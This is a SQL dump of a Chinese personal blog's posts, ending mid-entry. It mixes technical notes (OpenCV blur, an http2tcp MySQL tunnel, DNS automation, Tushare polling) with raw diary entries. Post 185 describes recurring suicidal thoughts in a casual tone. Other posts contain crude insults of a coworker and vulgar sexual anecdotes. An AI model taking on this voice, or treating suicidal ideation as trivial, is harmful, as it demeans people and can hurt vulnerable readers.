INSERT INTO `tb_post` VALUES (185, -1, 0, 0, 1, '焦虑', NULL, 0, 'anxiety', '', '已经不记得是第几次想死了。自从上次因为耳朵痒动了重开的念头，这样想的次数愈发频繁。有时候是觉得生活没有意义，有的时候觉得身体哪一块肌肉又不舒服了，就很想从窗台跳下去。很奇怪，在涌现出这样的念头的时候，就觉得去死真的没什么，就好像是选择向左走还是向右走一样，只是选个方向而已。\n\n我觉得身体的确是出问题了，至少精神上是出了问题。有时间必须去看看神经内科，开点抗焦虑的药是最好。', 0, 468, '', 1, 0, '2023-05-28 23:17:04', '2023-05-28 23:17:04');
INSERT INTO `tb_post` VALUES (186, -1, 0, 0, 1, 'opencv-python 旋转模糊', NULL, 0, 'opencv-python-spin-blur', '', '网上的处理方式大多是手动处理：计算 $`(x, y)`$ 处像素点相对于中心点 $`(cx, cy)`$ 的角度和半径，而后取 $`±\\theta`$ 内相同半径的点的平均值来进行模糊。\n\n理论上是没有问题的，但是这种方式实在是太慢了。', 1, 7, '', 1, 1, '2023-06-06 11:47:14', '2023-06-06 12:35:48');
INSERT INTO `tb_post` VALUES (187, -1, 0, 0, 1, '换位思考', NULL, 0, 'another-angle', '<img src=\"/upload/20231119_00204959.png\" title=\"换位思考\" class=\"plantuml\"/>\n<img src=\"/upload/20231119_00220893.png\" title=\"换位思考\" class=\"plantuml dark\"/>', '身体越来越不得劲了，不知道是心理问题还是身体问题，又或者是两者都有问题。\n\n傻逼公司不给员工安排体检，要体检只能自费。虽然不安排体检并不违法，但不违法不代表道德。罗翔老师说过，如果一个人用不违法来标榜自己是个好人，那这个人一定是个人渣嘛。因为不违法已经是评判一个人是否纯良的最终底线了。就好像考了倒数第二的家伙对家长说「至少我没有考最后一名」一样，还是免不了一顿揍的。想到这我内心很是愤懑，公司就好像我那考了倒数第二的逆子，我这个爹是一定要给公司好看的。\n\n最简单地给公司好看的方式就是摸鱼。虽然我不能用额外的上班时间来赚取更多薪资，但我可以维持薪资不变的情况下，将上班时间拿来摸鱼。假设一个月薪 5W 的人一个月工作 21 天，合 168 工时，则他的时薪就是约 300 块。而一个月工资只有 8k 的人，只要他一天 8 个工时内摸鱼 6 小时 44 分钟，一个月工作 21 天，那他的时薪也是 300 块，四舍五入一下，他也是月入 5W 的人。\n\n既然老板不给我涨薪，那我就自己给自己涨薪。这样就是老板给我打工，换个角度想，我又何尝不是压榨老板的老板？\n\n这让我不得不想到我用 opencv 做旋转模糊的时候。网上的做法大多是遍历计算每个像素点 $`P(x, y)`$ 相对于中心点 $`C(cx, cy)`$ 的距离 $`r`$，再累加旋转角度 $`\\theta`$ 找寻与 $`C`$ 相同距离的点，最后求平均值。但是真的，真的太慢了，而且还有缺陷：如果 $`\\Delta\\theta`$ 太大，可能会略过一些像素点；太小又有可能逃离不了同一个像素点，浪费运算量。当然我也可以做一个矩阵，存储所有相同 $`r`$ 的像素点，再根据模糊率对指定多的像素点求均值。但这依然很麻烦。\n\n实际上，可以先把图片从笛卡尔坐标转为极坐标，然后再在极坐标图片上做 motion blur，再转回笛卡尔坐标，一个旋转模糊就做好了。所以把笛卡尔坐标上的我转换为极坐标，我就变成老板了。', 0, 584, '', 1, 0, '2023-06-10 10:21:07', '2023-11-19 12:40:57');
INSERT INTO `tb_post` VALUES (188, -1, 0, 0, 1, '失去糖分', NULL, 0, '', '![解锁新皮肤](/upload/20230707_2248542.jpg \"解锁新皮肤\")', '', 3, 1, '', 1, 1, '2023-07-06 19:38:24', '2023-07-07 22:49:16');
INSERT INTO `tb_post` VALUES (189, -1, 0, 0, 1, '很直白的人身攻击', NULL, 0, '', '', '办公室的财务又在那里狗叫了，每句话必以「那」开头、「啊」结尾：那我没有动过任何东西啊，那他就是这么跟我说的啊。我真的不理解，一个人是怎么能把每句话都说得像别人欠了她钱一样的。就是这样脑仁还没我睾丸大的沙币东西居然还有男朋友，到底是谁在哄抬批价？', 0, 55, '', 1, 1, '2023-07-13 17:15:23', '2023-07-13 17:17:00');
INSERT INTO `tb_post` VALUES (190, -1, 0, 0, 1, '丢那星', NULL, 0, 'fuck-his-mom', '', '和表弟又经过铁皮南路。还记得上次来的时候，周遭修路的蓝色铁皮还没有拆掉。现在已经是铺满新鲜柏油的平坦大路了。到路口需要掉头，我们停在铁道桥的柱子旁边，等着红灯变绿。旁边的阿叔载着小女孩，问我这部小牛改装过了吧？我说改了 88V100A 的电池呢。后座的表弟还在拿着刚去摆摊卖的草莓发卡，逗不知道多少岁的小女孩。我没给他太多撩妹的时间，红灯刚要转绿，我就一拧油门飞出去了。\n\n要和他朋友们见面的地方就在马路对面，停车以后我没有跟着他一起过去，而是走到路边蹲下，点了支烟抽了起来。当时我没戴眼镜，以为那个形体很像他的、走到一大桌子人中间坐下的那个人是他。烟快抽完的时候，真实的他才从另一个方向的店里走出来，问我怎么不进去。我有点蒙，但还是说：人太多了，我社恐。他说社个屁，加上他一共就三个人。我站起来，丢掉烟头，踩了几脚就跟着他进了店。\n\n出来的时候已经晕乎乎的了：糖尿病的我被痛风的他棍了几杯啤酒。我酒量真的很不好，甚至没有阿婷好。犹记得刚和阿婷搭上线的时候就是去喝酒，我才两杯马尿下肚就开始胡言乱语，甚至去上厕所的时候还强吻了淑女。后来和戴小姐坦白喜欢上阿婷也是在酒吧喝多了。很好，酒是粮食精，越喝越年轻。我取了车，载着同样醉醺醺的表弟，在非机动车道上乜乜斜斜地开着。我说几年前我也是这样坐在那个女人的后座上。表弟问我她是谁。我说她是黯淡星[^1]。表弟说她不是黯淡星。我说那她是丢那星[^2]。表弟笑了，笑得很开心。\n\n[^1]: [《她是黯淡星》-木玛·丝绒公路](https://open.spotify.com/track/4uDoozUJuvImSpdWgI1XbH)\n[^2]: 「屌你阿妈」<sup>反切</sup>→「屌那妈」→「屌那*」→「丢那星」', 0, 344, '', 1, 0, '2023-08-06 22:10:45', '2023-12-06 03:29:12');
INSERT INTO `tb_post` VALUES (191, -1, 0, 0, 1, '吃糖', NULL, 0, '', '', '半夜血糖 3.0 mmol/L，怕这样下去死掉了，赶紧买了软糖吃。想想觉得好笑，以前最喜欢吃软糖，总是被说吃太多不好。现在却靠软糖续命。', 0, 5, '', 1, 1, '2023-09-21 03:52:25', '2023-09-21 03:52:25');
INSERT INTO `tb_post` VALUES (192, -1, 0, 0, 1, '雨果', NULL, 0, '', '', '雨果长得和大部分的顺丰跑腿一样，又黑又瘦。第一次见到他是在悦刻店，我和阿敏混熟了，帮她看店的时候，雨果就时不时来店里取货。有时他没单可接，经过悦刻的时候也会进来坐会，吹吹空调。一来二去也就熟络了起来。\n\n雨果普通话口音很重，又经常说一些荤段子，说出来有一种特别的猥琐。作为跑腿小哥，各种消息他都十分灵通。加了微信以后，时不时分享给我一些猎奇消息，比如哪个商场又砍人了，哪个地方又有人跳河了。不过他最喜欢分享的还是捉奸视频。“FFF 团！”他这样自称道，哪怕那些视频只是看不出个所以然，剧情全靠字幕的', 1, 0, '', 1, 1, '2023-09-22 11:59:19', '2023-09-22 15:49:09');
INSERT INTO `tb_post` VALUES (193, -1, 0, 0, 1, '钙化', NULL, 0, 'calcification', '', '坐在路边边抽烟边看美女，表弟的道心又破碎了。原因是他觉得路上的美女一个个的都很好看，但是陪伴在美女身旁的人他觉得还不如他。而当美女孤身一人的时候，他就会自问：这种女的到底是谁在操啊？我没法回答他，我也不知道到底是谁在操。我问他道心不是早就破碎了吗？他说之前那是破碎，现在是粉碎。\n\n我和表弟都不是什么正经人，虽然我还是稍微比他正经一些的。我们点烧鸡吃的时候，发现点两份半只的比点一份整只的便宜。他说他想吃真正的烧鸡。我问他多烧，他说九十斤的那种。我说九十斤半只？他嘴角抽动了一下。他说有一次他去约炮，对面说她有些微胖，他心想有胆出来约的微胖能有多胖？结果去了以后吓得丫直接跑路。现在说起来他好像还是见了鬼，使劲浑身解数要向我解释对方有多恐怖，时而挥舞着双手在空中比划，时而拿自己打比方，说对方大腿比他腰还粗。我没有约过炮，难以感同身受，但当我点了半只烧鸡都吃不完的时候，我还真的想吐。\n\n快到晚上 12 点的时候，他问我要不要去给女人当狗。我说去。他迟疑了一下，没有理我，继续低头在手机微信上和那个女的拉扯。我实在看不下去他这样委顿不堪的拧巴样子。我说烟抽完了，下去买烟吧。他才“不情愿”地跟着我下去。我们都知道他这样一出门就一定会去给那女的当狗了。他去之前给我看了看那女的朋友圈自拍，对方穿了一件露脐小背心，拿着手机对着镜子搔首弄姿的。我说身材不错。表弟说还行吧。其实我根本没看清。有的人就是像一张面皮一样的，正面看上去五花八门，从旁边看就是扁的。其实身材上的扁不可怕，内里没有馅才是最可怕的。\n\n第二天醒来已经是中午了，强忍着睡意看了眼手机，表弟在六点钟的时候给我发消息，说擀面杖没用上。不知道是因为舔狗不得好死还是因为前列腺钙化了。', 0, 346, '', 1, 0, '2023-10-08 14:05:41', '2023-12-06 02:00:11');
INSERT INTO `tb_post` VALUES (194, -1, 0, 0, 1, '不要爱上小姐', NULL, 0, 'dont-fall-in-love-with-hookers', '', '你妈的，我都不知道怎么写', 0, 3, '', 1, 1, '2023-10-24 23:45:56', '2023-10-24 23:45:56');
INSERT INTO `tb_post` VALUES (195, -1, 0, 0, 1, '一脸正气', NULL, 0, '', '', '在越南某不知名 KTV 里摸摸唱的时候，我脑袋还是昏的。其实在异国搞黄色真的只是随机事件。原本要去越南出差的王总签证没办下来，不然坐在这里摸奶的就是他了。我多少觉得他签证不过也许是他可能有犯罪前科。还记得当初他因为乱停车被产业园的保安把车轮锁住，他二话没说就到路边买了液压钳，把保安上的锁给钳断了。王总还是稚嫩了，我要是保安我就要发抖音买DOU+了。\n\n越南的客户是从泰国来的，在越南的公司只是他们泰国的分公司。一见面，大家用蹩脚的英文交谈。我一个劲地说 สวัสดีค่ะ。我不知道为什么中国人到越南竟然要和泰国人在韩国街吃日料。几个人对着几排寿司尬笑。老板问：这些鱼是从日本进口的吗？我们很担心核污染。客户说：不是的，这些都是越南本地鱼。然后一伙人哈哈大笑。\n\n我们是按摩结束之后才去 KTV 的，我也是在这个时候遇到的 Hồng Bé，她穿着一身白色且暴露的裙子，胸部被硬生生挤出沟来。按照 Meow 的话说，她长得很有福气。我知道这是在说她有点胖，但实际上她很瘦，至少暴露在外面的腿是这样的。在越南 KTV 唱中文歌确实有些魔幻，我在谷歌翻译上翻译给她说：你们点点歌。她替我倒了酒，熟练地点了一首越文歌。然后我们开始牵起手来。\n\n我一度出现了小姐爱上我的幻觉。当然这幻觉很快就被打破了，因为小姐要是爱上我是不会当着其他老板的面在前面辣舞的。狗日的，傻逼才会和小姐谈感情。\n\n我不知道我为什么会这样。还记得几年前我在中医馆按摩的时候，我和女医生说我不会去外面按摩店推油，更不会去不正规的场所。我一脸正气地说那地方没意思。当然女医生看不到我的一脸正气，因为我是趴在按摩床上的，除非她把头伸到床底下。不过要真是这样那就不是中医馆了，那是鬼屋。', 0, 522, '', 1, 0, '2023-11-28 02:13:31', '2023-11-28 18:36:19');
INSERT INTO `tb_post` VALUES (196, -1, 0, 0, 1, '使用 http2tcp 通过 http(s) 进行远程 TCP 端口访问', NULL, 0, 'using-http2tcp-access-remote-tcp-port-over-http-s', '', '有这么个场景，我在家里服务器上只开了 80 和 443 端口用于 web 服务，可以通过域名从公网访问。现在我在公司，出于调试目的，需要访问服务器上的 MySQL 数据库，但又不希望暴露服务器上的 3306 端口到公网上，所以希望能通过已有的 web 服务进行 3306 端口的远程访问，但又能进行无感交互。\n\n所谓的无感交互，举个例子：如果只是对数据库管理，那其实可以采用 web 数据库管理工具，比如 phpMyAdmin 进行管理，但我这边需要建立 jdbc 连接，所以用 web 数据库管理工具是行不通的，类似于 webshell 和 shell 的区别。\n\n经过查阅资料，一个工具进入了我的视野：[movsb/http2tcp](https://github.com/movsb/http2tcp) by [桃子](https://blog.twofei.com/)\n\n<img src=\"https://stats.deeptrain.net/repo/movsb/http2tcp/?theme=light\" referrerpolicy=\"same-origin\" class=\"plantuml\"/>\n\n<img src=\"https://stats.deeptrain.net/repo/movsb/http2tcp/?theme=dark\" referrerpolicy=\"same-origin\" class=\"dark plantuml\"/>\n\n\n其实原理很简单，就像代理一样：\n\n```plantuml:svg[alt/title=http2tcp principle]\n@startuml\npartition \"Local PC\" {\n (*) -right-> \"Application\" as A\n\n  partition \"http2tcp client\" #LightSkyBlue {\n    A -down-> [jdbcurl] \"Listen TCP:13306\" as CL\n    CL -right-> \"Http hijacker\" as CDF\n  }\n}\n\npartition \"Remote Server\" {\n\n  partition \"http2tcp server\" #LightSkyBlue {\n    CDF --right-> [HTTP\\nUpgrade] \"Listen HTTP:8080\" as SL\n    SL -right-> \"Http hijacker\" as SDF\n  }\n\n  SDF -up-> \"mysqld TCP:3306\"\n\n}\n@enduml\n```\n\n我用的是 http2tcp 的 websocket 分支，实测效果很好。当然，实际上用的时候，不直接把 http2tcp server 的 HTTP 端口暴露，而是放在 nginx 后面，由 nginx 做反向代理，这样就能走 HTTPS/WSS 了。\n<!--more-->\n\n\n客户端：\n```shell\nhttp2tcp -c -l :13306 -d $MYSQL_SERVER_HOST:3306 -e https://$DOMAIN/$REMOTE_URI -t $MY_TOKEN\n```\n\n服务端：\n```shell\nhttp2tcp -s -l :8080 -t $MY_TOKEN\n```\n\nNginx：\n```nginx\nserver {\n    listen 443 ssl http2;\n    server_name $DOMAIN;\n    ...\n   \n    location = /$REMOTE_URI {\n        proxy_http_version 1.1;\n        proxy_set_header Host $host;\n        proxy_set_header Upgrade $http_upgrade;\n        proxy_set_header Connection \"Upgrade\";\n        proxy_read_timeout 600s;\n        proxy_pass http://127.0.0.1:8080/;\n    }\n\n}\n```\n', 0, 421, '', 1, 0, '2023-11-22 18:21:05', '2023-11-28 01:18:43');
INSERT INTO `tb_post` VALUES (197, -1, 0, 0, 1, '123', NULL, 0, '123', '', '', 0, 0, '', 1, 1, '2023-12-02 18:23:30', '2023-12-02 18:23:30');
INSERT INTO `tb_post` VALUES (198, -1, 0, 0, 1, 'Namesilo 给裸域添加 CNAME 的一种方案', NULL, 0, 'a-way-to-configure-cname-flattening-on-the-apex-domain-for-namesilo', '<style>pre.plain{white-space:pre-wrap;color:var(--curr-text-tint)}</style>\n\n有个域名托管在 Namesilo 上，主机则是通过 DDNS 穿透到内网的虚拟机上，是没有公网 IP 的，解析则是靠 DDNS 提供的域名作为 `CNAME` 记录。而大部分域名托管商是不支持给裸域(Apex Domain) 添加 `CNAME` 记录的。首先，[RFC 1034](https://datatracker.ietf.org/doc/html/rfc1034#section-3.6.2) 声明了 `CNAME` 记录应该是排他的：\n\n<pre class=\"plain\">\nIf a CNAME RR is present at a node, no other data should be present; this ensures that the data for a canonical name and its aliases cannot be different.\n</pre>', '<style>pre.plain{white-space:pre-wrap;color:var(--curr-text-tint)}</style>\n\n## Why\n\n有个域名托管在 Namesilo 上，对应的主机则是通过 DDNS 穿透到内网的虚拟机上，是没有公网 IP 的，解析则是靠 DDNS 提供的域名作为 `CNAME` 记录。而大部分域名托管商是不支持给裸域(Apex Domain) 添加 `CNAME` 记录的。首先，[RFC 1034](https://datatracker.ietf.org/doc/html/rfc1034#section-3.6.2) 声明了 `CNAME` 记录应该是排他的：\n\n<pre class=\"plain\">\nIf a CNAME RR is present at a node, no other data should be present; this ensures that the data for a canonical name and its aliases cannot be different.\n</pre>\n\n[RFC 2181](https://datatracker.ietf.org/doc/html/rfc2181#section-10.1) 中进一步说明：\n\n<pre class=\"plain\">\n...That is, for any label in the DNS (any domain name) exactly one of the following is true:\n    + one CNAME record exists, optionally accompanied by SIG, NXT, and KEY RRs,\n    + one or more records exist, none being CNAME records,\n    + the name exists, but has no associated RRs of any type,\n    + the name does not exist at all.\n</pre>\n\n其次在 [RFC 1034](https://datatracker.ietf.org/doc/html/rfc1034#section-4.2.1) 阐述了 `NS` 记录和 `SOA` 记录对于裸域的必要性：\n\n<pre class=\"plain\">\n...Though logically part of the authoritative data, the RRs that describe the top node of the zone are especially important to the zone\'s management. These RRs are of two types: name server RRs that list, one per RR, all of the servers for the zone, and a single SOA RR that describes zone management parameters.\n</pre>\n\n裸域存在 `NS` 记录和 `SOA` 记录是最佳实践。意味着我没办法以指定 `CNAME` 的方式，通过裸域来访问这个网站，很长一段时间里，我只能通过加 www 来访问。而是否使用 www，知乎上 [为什么越来越多的网站域名不加「www」前缀？ - Rio的回答](https://www.zhihu.com/question/20414602/answer/15070514) 给出的结论是比较中肯且全面的。当然，对于仅仅是用于个人网站的我，可以全凭个人好恶，无须考虑太多。\n\n\n## 解决方案\n\n在没有独立公网 IP 的情况下通过裸域正常访问 www 网站， 主要有加钱、 Domain Forwarding 和 CNAME Flattening 三种解决方案。\n\n### 加钱\n\n买一个带公网 IP 的云主机，把服务部署在上面，或者用 FRP 做穿透，然后将裸域的 A 记录指向该 IP。我太穷了，暂不考虑这条路。\n\n### Domain Forwarding\n\nNamesilo 和大部分域名托管方给出了 [Domain Forwarding](https://www.namesilo.com/support/v2/articles/domain-manager/domain-forwarding) 的解决方案，但实际上使用是有限制的，考虑以下几种可能的场景：\n\n|输入|试图跳转至|可行性|\n|---|----|----|\n|http://foo.com|http://www.foo.com|✅|\n|http://foo.com|https://www.foo.com|✅|\n|https://foo.com|https://www.foo.com|❌|\n\nDomain Forwarding 的原理，是让你的裸域指向了域名托管商的一个 web 服务器（指向的方式当然也是添加一条 `A` 记录啦），访问的时候服务器返回 301 跳转到你指定的地址，那自然通过 HTTP 访问托管商的 web 服务器，再通过 301 跳转到 HTTP/HTTPS 的 www 都没问题。\n\n但是要访问 HTTPS 的裸域时，由于域名托管商并没有你的裸域的 SSL/TLS 证书，自然不能为你的 HTTPS 裸域跳转。所以这种方式并不完全支持所有场景。\n\n### CNAME Flattening\n\nCloudflare 提供了名为 [CNAME Flattening](https://developers.cloudflare.com/dns/cname-flattening/) 的解决方案，表面上允许域名所有者给裸域添加 `CNAME` 记录，实际背地里把所有者提供的 `CNAME` 值转换为 `A` 记录，就实现了(好阴险的偷梁换柱！)\n\n实际上我也可以 nslookup 我的 DDNS 地址的 `A` 记录，相应地给我的裸域填上 `A` 记录，但也如上面知乎回答内所言：\n\n> 特别是使用第三方托管服务的时候。如果第三方迁移服务器导致 IP 地址变更，你必须自己去更改 DNS 的 A 记录。\n\n所以自定义 CNAME Flatening 是可行的，只是麻烦在“自己去更改”。如果我能在每次 DDNS 地址的 `A` 记录变更时，自动将我裸域的 `A` 记录一并变更，问题就解决了。\n\n## 自定义 CNAME Flattening\n\nNamesilo 允许通过 API 来增删查改 DNS 记录，我要做的便是定期查询 DDNS 的 `A` 记录，以及我的裸域的 DNS 记录情况，结合两者的情况决定对域名 DNS 记录进行何种操作：\n\n- 裸域不存在任何记录，直接新增 `A` 记录为 DDNS `A` 记录\n- 裸域存在 `A` 记录，判断是否与 DDNS `A` 记录相同\n  + 相同，无需更新\n  + 不同，更新为 DDNS `A` 记录\n- 裸域存在 CNAME 记录，删除之，新增 `A` 记录为 DDNS `A` 记录\n\n将其写在循环中，以 DDNS `A` 记录的 TTL 来作为线程 Delay 的时间。考虑到可能不止有一个裸域需要同步，写的时候可以做配置文件，开多个线程分别跑。\n\n事实上不只是 Namesilo，只要支持 API 的，或者可以通过爬虫写自动化工具的，皆可以采用此种方法。当然上面只是粗略流程，因为 `A` 记录是可以有多条的，至于实际使用过程中要保留哪条，以及当 DDNS `A` 记录也有多条的时候如何应对，需自行斟酌。\n', 0, 405, '', 1, 0, '2023-12-10 03:51:54', '2023-12-10 04:37:00');
INSERT INTO `tb_post` VALUES (199, -1, 0, 0, 1, '幸运洞', NULL, 0, 'lucky-hole', '', '<span style=\"display: flex;flex-direction: column;align-items: center;line-height: 1;margin: 5% 0 6%\"><b style=\"color: #C63D60;font-size: xxx-large;\">ARAKI</b><b style=\"margin-left: 2px;color: #5D4052;\">TOKYO LUCKY HOLE</b></span>\n\n项目现场的架构一团乱麻。五六个厂商的七八种设备分散在不同的地方，区分线序的标签是一概没有的。老旧程序以一种极其怪异的方式支撑着彼此运行，设备间的协议要么是二开再二开，要么是自定义报文格式的 UDP。我脑海里猝不及防浮现出四个大字：聚众淫乱。前同事把我领到一个逼仄且闷热的强电井，打开一个配电箱，里面是他当初为了给公司省钱，找技术员调的脱网的半成品网关。我们以一种奇怪的氛围在强电井里僵持着，盯着状态灯不断闪烁的网关，好像我俩也成了里面任劳任怨的设备，想从 TX 里读懂点什么。\n\n不久之后我就会发现这个网关还存在其他问题：采集数据打上的时间戳是网关内部时间，一般而言是通过 NTP 协议同步的互联网时间，但由于是脱网设备且内部没有给时钟维持工作的电容，一旦断电时间就回到固件烧录的那天。另外由于当时业主需求不明确，只采集了一组数据，未来业主希望采集其他四组。最麻烦的是写这个采集程序的人已经离职一年多了，最终版源代码早已佚失，只剩下非脱网时候的、结构混乱的代码，而我将会花上将近一周的时间来重写程序。\n\n但这目前都还没有发生。项目拖了这么久，我也没有心思去争论整个项目里孰对孰错了。我只想知道为什么网关读不到数据。被采终端在负一楼的强电间，在安全员的陪同下，排查了大半天，发现是终端设备的探头被人拆了，藏在了电箱上面。我傻眼了。询问了现场的安全员，他想了一会，然后笑嘻嘻地说：好像有这么一回事，你们的设备安装得太丑了，领导来检查，我们就拆了。\n\n-------\n\n晚上陪奕铭 City Walk 的时候，他带我去了一幢居民楼里的咖啡店。我压根不会注意到狭小的走道、楼梯尽头竟然藏着一家咖啡店，而楼下的便利店，我甚至还在那里买过烟。说来惭愧，在这里生活了快十年，我竟还不如一个外地人清楚这里的门道。难怪我从来都找不到楼凤在哪。\n\n咖啡店地方不大，老板——同时是占星师把一层都包了下来，每个小房间再分割成两个狭小的半开放空间，铺上坐垫和枕头，我们就那么坐在这里等咖啡。奕铭随手拿了一本砖头一样厚的书，一翻开，精美的铜版纸上印着裸女好像就要溢出来，合上书一看，封面上印着<b style=\"color: #C63D60;\"> ARAKI</b> <b style=\"margin-left: 2px;color: #5D4052;\">TOKYO LUCKY HOLE</b>。\n\n荒木经惟的《东京幸运洞》，粗浅而直接的镜头记录了上个世纪八九十年代风俗业发达的新宿。书名的由来也是一家风俗店：在墙板上画上美少女的身段，再贴上美女明星的头像，特殊部位挖开墙洞，便能把「慧根」伸进去寻求性运，幻想着和画报上的佳丽缠绵。\n\n丑真的是原罪，因为只有美才配被幻想。回想起项目现场，其实还有另一个项目的探头也贴在同一个设备外面，但它因为安装得太优美了，即便那个项目可能早已停止，即使负责人也不清楚那个探头到底是拿来干嘛的，它还是被保留了下来，幸运地透着电箱上的洞读取着设备的数据。而真正有用的探头只能躺在柜顶吃尘。狗日的，一想到那个安全员嬉皮笑脸的样子，我就没来由地想揍他。\n\n我点的海盐焦糖拿铁上来了，喝着咸甜咸甜的，有点像那种新疆的奶茶。大晚上喝咖啡看来明早是别想按时起来上班了。不过这都不重要，好像不喝就能按时起来一样。奕铭还在捧着一本子的裸女看。我环顾四周，墙边还放着一本青蓝色访客调查本。有一项调查是问访客的 MBTI 类型，一个四十多岁的大叔竟在后面写上：LGBT。\n\n-------\n\n老板在隔断的另一边，和一个上海来的姐们聊起这里。她说这里其实是个社会实验性质的场所，能在这里和大家一起交换文字、印记、看小众电影是让她很开心的事。我好生羡慕，我也不是没在现实中试图和别人交换文字，后来发现我的人际关系实在太瘠薄，没有丰富到有能和我交换文字的人，只能退而求其次交换体液了。文字本身是需要提炼的，是需要把脑海中抽象的输入变成具象的输出的，这是个复杂的生理和心理反应，过程可比分泌前列腺液难太多了。\n\n找不到能交换文字的人，也许写博客是我最后的挣扎。写博客是为了取悦谁？反正肯定不是身边的人。这里像个隐藏在书堆里的日记本，而在这本日记里，我他妈卑微到连这家咖啡店的名字我都不敢写，生怕别人知道我是我。人们都说在互联网上没人知道你是一条狗，而我是一个人，却想在互联网上当狗。这操蛋的互联网实在太大了，什么性癖都有，这不奇怪。\n\n寻找互联网上散落的日记本也是一大乐趣，多亏了开往和虫洞，的确能找到很多散落的日记本。但诚如上面说的，每个人的性癖都不一样，你压根不知道洞的那边是幸运还是霉运。我曾不小心到达一个满是骂战的博客，见过打雪仗的，没见过打屎仗的，好像兴致勃勃地把鸡巴伸过去，拔出来一看全他妈是屎。这给我带来的阴影太深，导致我很长一段时间都想做一个虫洞或者开往的浏览器过滤插件，只要跳转到黑名单博客就会自动重新跳转。后来因为我太懒了才作罢，任由这傻逼互联网给我喂屎。好在那个博客已经关了，不然又得冷不防多吃一口。\n\n曾经也想过加入十年之约或者开往，但是想想还是暂时作罢了。幸运讲究幸和运，我是万万不敢想把这里当成谁的幸运洞的，我也没有那个本事把所有人弄到高潮。好好取悦自己，做不了荡妇，做一根鸡巴总可以吧。', 0, 100, '', 1, 0, '2024-01-06 14:29:03', '2024-01-09 20:09:06');
INSERT INTO `tb_post` VALUES (200, -1, 0, 0, 1, 'Introduction', NULL, 2, 'introduction', '', '起因是不想整一堆偏技术类的文章在博客上，毕竟我博客的定位还是日常生活。另外又不想整成加密或者私密文章，毕竟这样观感太变态了。于是就有了这么一个地方，用来存放一些文档/知识，也不断鞭策自己，最好能每天记录一点点，将知识整理成可供查阅的知识库，温故而知新。\n\n原本是用 Dokuwiki 的，但是因为我不熟悉 PHP，维护和修改样式都不便，借用 [桃子](https://blog.twofei.com) 的一句话：PHP 很好，是我不够好。所以最终扩展了 Doghouse，新增 Wiki 模式。这样一来就不用同时维护两个系统，又能最大限度利用 Doghouse 的功能了。\n\n可供公共阅读的文档以菜单展示的命名空间和文档内容为准。', 0, 281, '', 0, 0, '2023-12-21 01:30:32', '2023-12-27 16:53:11');
INSERT INTO `tb_post` VALUES (201, -1, 2, 0, 0, '网络摄像机', NULL, 2, '', '', '', 3, 24, '', 0, 0, '2023-12-21 01:31:52', '2023-12-28 20:13:26');
INSERT INTO `tb_post` VALUES (202, -1, 1, 0, 1, '财经类', NULL, 2, 'finance', '', '', 0, 60, '', 0, 0, '2023-12-21 01:32:21', '2023-12-23 13:52:44');
INSERT INTO `tb_post` VALUES (203, 223, 0, 2, 1, 'Tushare', NULL, 2, 'tushare-crawlers', '', '', 0, 74, '', 0, 0, '2023-12-21 01:33:09', '2023-12-21 01:33:09');
INSERT INTO `tb_post` VALUES (204, 203, 0, 3, 1, 'Tushare Request & Response', NULL, 2, '', '', '> 请求和返回\n\n## 请求结构\n\n基本的请求结构如下：\n\n```json\n{\n    \"api_name\": \"apiName\",\n    \"params\"  : {Object of params},             // 请求参数\n    \"fields\"  : [List of fields(can be null)],  // 请求的字段\n    \"token\"   : \"Your tushare token\"\n}\n```\n\n基本上所有请求都按照这个结构。\n\n## 返回结构\n\n```json\n{\n    \"data\": {\n        \"fields\": [List of fields],\n        \"items\" : [List of item\'s list], // 每个独立 item 长度和位置与 fields 一致\n        \"has_more\": Boolean // 是否还有更多数据\n    },\n    \"msg\": null\n}\n```\n\n相当于`item`是动态长度，可以通过遍历`fields`赋 key 的方式，将每个`item`转化为一个 JSONObject。\n\n当`data`为 null 时，意味着发生了错误，可以取`msg`查看失败原因。', 0, 129, '', 1, 0, '2023-12-21 01:34:58', '2023-12-21 01:34:58');
INSERT INTO `tb_post` VALUES (205, 203, 1, 3, 1, '轮询', NULL, 2, '', '', 'tushare 按照查询参数的不同，一般可以分为按时间轮询和按股票轮询的方式。为了尽可能减少请求次数、缩短请求时间、减轻 tushare 服务器查询压力，我们可以按照这两种方式对数据进行初始化和更新。\n\n## 按时间轮询\n\n按时间轮询主要用于刚建立数据库后，批量下载历史数据的情况，以及**每日**的更新。按时间轮询的前提，需要先调用 [交易日历](https://tushare.pro/document/2?doc_id=26) 接口，将交易日历数据保存在本地。假设已经将数据保存在本地，再进行以下步骤。\n\n以更新 [日线行情](https://tushare.pro/document/2?doc_id=27) 为例，当提供`trade_date`参数而不指定`ts_code`参数时，会将`trade_date`日的所有股票日线全部获取。单次请求条数限制为 5000 条，对单日内数据获取绰绰有余。\n\n我们根据获取的交易日历，轮询需要的时间范围的所有开市日，将其循环传给`trade_date`参数，按日获取当日的所有股票日线，存入数据库中即可。\n\n## 按股票轮询\n\n当需要更新的股票属于**个别大范围缺失**日线行情的股票时，或需要**初始化个股分钟数据**时，可以采用该方式对股票行情进行更新。\n\n### 日线\n\n当行情接口提供了`ts_code`和`start_date`、`end_date`以后，则可以查询单支股票在指定交易日**范围**内的所有行情。\n\n按范围轮询的前提是已经将交易日历数据和 [股票列表](https://tushare.pro/document/2?doc_id=25) 保存在本地，而后获取当前股票的上市日期`list_date`和退市日期`delist_date`，作为`start_date`和`end_date`。若`delist_date`为 null 则说明该股票还未退市，`end_date`取最新一个交易日。\n\n得到初始的`start_date`和`end_date`以后，需要计算两者之间交易日个数。因为日线行情接口单次请求条数为 5000 条，若范围内交易日个数大于 5000 的，需要进行交易日范围的切割，进行单次请求后，再将请求参数调整至下一个 5000 条范围，直至更新到`end_date`为止。\n\n### 分钟线\n\ntushare 高级版提供了分钟线接口（参考 [通用行情接口](https://tushare.pro/document/2?doc_id=109) 和 [分钟权限说明](https://tushare.pro/document/1?doc_id=290) ）。当调用分钟线数据时，上述的按股票轮询方式要进行一定的修改。\n\n沪深 A 股分钟线请求限制为单次 8000 条数据，对于可能的`freq`为 1、5、15、30、60分钟，单股单日内最大数据量分别为$`max = 240/freq + 1`$，则切割范围时，需要保证指定范围内的条数小于 8000 条，并将`end_date`向下取整。\n\n如对于`freq`为 1 分钟的情况，$`8000 / 241 ≈ 33.195`$，向下取整即为 33 个交易日，即单股单次 1 分钟行情最大可请求 33 个交易日，而非上文日线数据中的 5000 个交易日。再按照上文的逻辑进行轮询即可。\n\n\n## 其他\n\n呃，没有考虑到每次查询时`has_more`字段（见 [返回结构](/p/204#返回结构) 